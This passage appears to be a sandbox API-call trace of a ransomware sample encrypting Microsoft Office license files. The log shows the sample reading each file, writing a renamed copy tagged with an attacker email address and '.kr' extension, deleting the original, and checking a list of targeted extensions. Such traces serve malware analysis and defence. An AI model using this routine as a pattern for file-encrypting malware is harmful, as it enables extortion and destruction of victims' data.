office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.908] GetLastError () returned 0x0 [0197.908] ReadFile (in: hFile=0x3f8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0197.910] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0197.911] ReadFile (in: hFile=0x3f8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0197.911] WriteFile (in: hFile=0x4d4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0198.060] SetEndOfFile (hFile=0x4d4) returned 1 [0198.060] CloseHandle (hObject=0x4d4) returned 1 [0198.061] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.061] SetEndOfFile (hFile=0x3f8) returned 1 [0198.064] CloseHandle (hObject=0x3f8) returned 1 [0198.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1 [0198.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.840] lstrlenW (lpString=".doc") returned 4 [0198.840] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.857] lstrlenW (lpString=".docx") returned 5 [0198.857] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.857] lstrlenW (lpString=".pdf") returned 4 [0198.857] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.857] lstrlenW (lpString=".xls") returned 4 [0198.857] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.857] lstrlenW (lpString=".xlsx") returned 5 [0198.857] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.857] lstrlenW (lpString=".ppt") returned 4 [0198.857] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.857] lstrlenW (lpString=".zip") returned 4 [0198.857] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.857] lstrlenW (lpString=".rar") returned 4 [0198.857] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.857] lstrlenW (lpString=".bz2") returned 4 [0198.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.873] lstrlenW (lpString=".7z") returned 3 [0198.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.874] lstrlenW (lpString=".dbf") returned 4 [0198.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.874] lstrlenW (lpString=".1cd") returned 4 [0198.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.874] lstrlenW (lpString=".jpg") returned 4 [0198.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.874] lstrlenW (lpString=".doc") returned 4 [0198.874] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString=".docx") returned 5 [0198.874] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.874] lstrlenW (lpString=".pdf") returned 4 [0198.874] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString=".xls") returned 4 [0198.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString=".xlsx") returned 5 [0198.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.874] lstrlenW (lpString=".ppt") returned 4 [0198.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.874] lstrlenW (lpString=".zip") returned 4 [0198.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.874] lstrlenW (lpString=".rar") returned 4 [0198.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.875] lstrlenW (lpString=".bz2") returned 4 [0198.875] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.875] lstrlenW (lpString=".7z") returned 3 [0198.875] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.875] lstrlenW (lpString=".dbf") returned 4 [0198.875] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.875] lstrlenW (lpString=".1cd") returned 4 [0198.875] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0198.875] lstrlenW (lpString=".jpg") returned 4 [0198.875] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.875] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.875] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 35 [0198.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.876] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19957) returned 1 [0198.876] CloseHandle (hObject=0x554) returned 1 [0198.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0198.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.877] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.877] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0198.879] GetLastError () returned 0x0 [0198.879] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4df5, lpOverlapped=0x0) returned 1 [0198.881] WriteFile (in: hFile=0x558, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0198.882] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0198.882] WriteFile (in: hFile=0x558, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11a, lpOverlapped=0x0) returned 1 [0198.883] SetEndOfFile (hFile=0x558) returned 1 [0198.883] CloseHandle (hObject=0x558) returned 1 [0198.883] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.883] SetEndOfFile (hFile=0x554) returned 1 [0198.887] CloseHandle (hObject=0x554) returned 1 [0198.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1 [0198.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.889] lstrlenW (lpString=".doc") returned 4 [0198.889] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.889] lstrlenW (lpString=".docx") returned 5 [0198.889] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.889] lstrlenW (lpString=".pdf") returned 4 [0198.889] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.889] lstrlenW (lpString=".xls") returned 4 [0198.889] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.889] lstrlenW (lpString=".xlsx") returned 5 [0198.889] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.889] lstrlenW (lpString=".ppt") returned 4 [0198.889] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.889] lstrlenW (lpString=".zip") returned 4 [0198.889] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.889] lstrlenW (lpString=".rar") returned 4 [0198.890] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString=".bz2") returned 4 [0198.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString=".7z") returned 3 [0198.890] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.890] lstrlenW (lpString=".dbf") returned 4 [0198.890] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.890] lstrlenW (lpString=".1cd") returned 4 [0198.890] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.890] lstrlenW (lpString=".jpg") returned 4 [0198.890] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.890] lstrlenW (lpString=".doc") returned 4 [0198.890] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString=".docx") returned 5 [0198.890] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.890] lstrlenW (lpString=".pdf") returned 4 [0198.890] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString=".xls") returned 4 [0198.890] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.890] lstrlenW (lpString=".xlsx") returned 5 [0198.890] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.890] lstrlenW (lpString=".ppt") returned 4 [0198.890] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.891] lstrlenW (lpString=".zip") returned 4 [0198.891] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.891] lstrlenW (lpString=".rar") returned 4 [0198.891] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.891] lstrlenW (lpString=".bz2") returned 4 [0198.891] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.891] lstrlenW (lpString=".7z") returned 3 [0198.891] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.891] lstrlenW (lpString=".dbf") returned 4 [0198.891] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.891] lstrlenW (lpString=".1cd") returned 4 [0198.891] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0198.891] lstrlenW (lpString=".jpg") returned 4 [0198.891] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.891] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.891] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29 [0198.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.892] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10651) returned 1 [0198.892] CloseHandle (hObject=0x554) returned 1 [0198.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220 [0198.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.893] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.893] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0198.894] GetLastError () returned 0x0 [0198.894] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x299b, lpOverlapped=0x0) returned 1 [0198.897] WriteFile (in: hFile=0x558, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x29a0, lpOverlapped=0x0) returned 1 [0198.898] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0198.898] WriteFile (in: hFile=0x558, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0198.898] SetEndOfFile (hFile=0x558) returned 1 [0198.898] CloseHandle (hObject=0x558) returned 1 [0198.899] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.899] SetEndOfFile (hFile=0x554) returned 1 [0198.902] CloseHandle (hObject=0x554) returned 1 [0198.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1 [0198.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.903] lstrlenW (lpString=".doc") returned 4 [0198.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.903] lstrlenW (lpString=".docx") returned 5 [0198.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.903] lstrlenW (lpString=".pdf") returned 4 [0198.903] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.903] lstrlenW (lpString=".xls") returned 4 [0198.903] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.903] lstrlenW (lpString=".xlsx") returned 5 [0198.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.903] lstrlenW (lpString=".ppt") returned 4 [0198.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.903] lstrlenW (lpString=".zip") returned 4 [0198.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString=".rar") returned 4 [0198.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString=".bz2") returned 4 [0198.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString=".7z") returned 3 [0198.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.904] lstrlenW (lpString=".dbf") returned 4 [0198.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.904] lstrlenW (lpString=".1cd") returned 4 [0198.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.904] lstrlenW (lpString=".jpg") returned 4 [0198.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.904] lstrlenW (lpString=".doc") returned 4 [0198.904] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString=".docx") returned 5 [0198.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.904] lstrlenW (lpString=".pdf") returned 4 [0198.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString=".xls") returned 4 [0198.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.904] lstrlenW (lpString=".xlsx") returned 5 [0198.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.904] lstrlenW (lpString=".ppt") returned 4 [0198.905] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.905] lstrlenW (lpString=".zip") returned 4 [0198.905] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.905] lstrlenW (lpString=".rar") returned 4 [0198.905] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.905] lstrlenW (lpString=".bz2") returned 4 [0198.905] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.905] lstrlenW (lpString=".7z") returned 3 [0198.905] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.905] lstrlenW (lpString=".dbf") returned 4 [0198.905] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.905] lstrlenW (lpString=".1cd") returned 4 [0198.905] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0198.905] lstrlenW (lpString=".jpg") returned 4 [0198.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.905] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.905] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30 [0198.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.907] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=21604) returned 1 [0198.907] CloseHandle (hObject=0x554) returned 1 [0198.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220 [0198.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 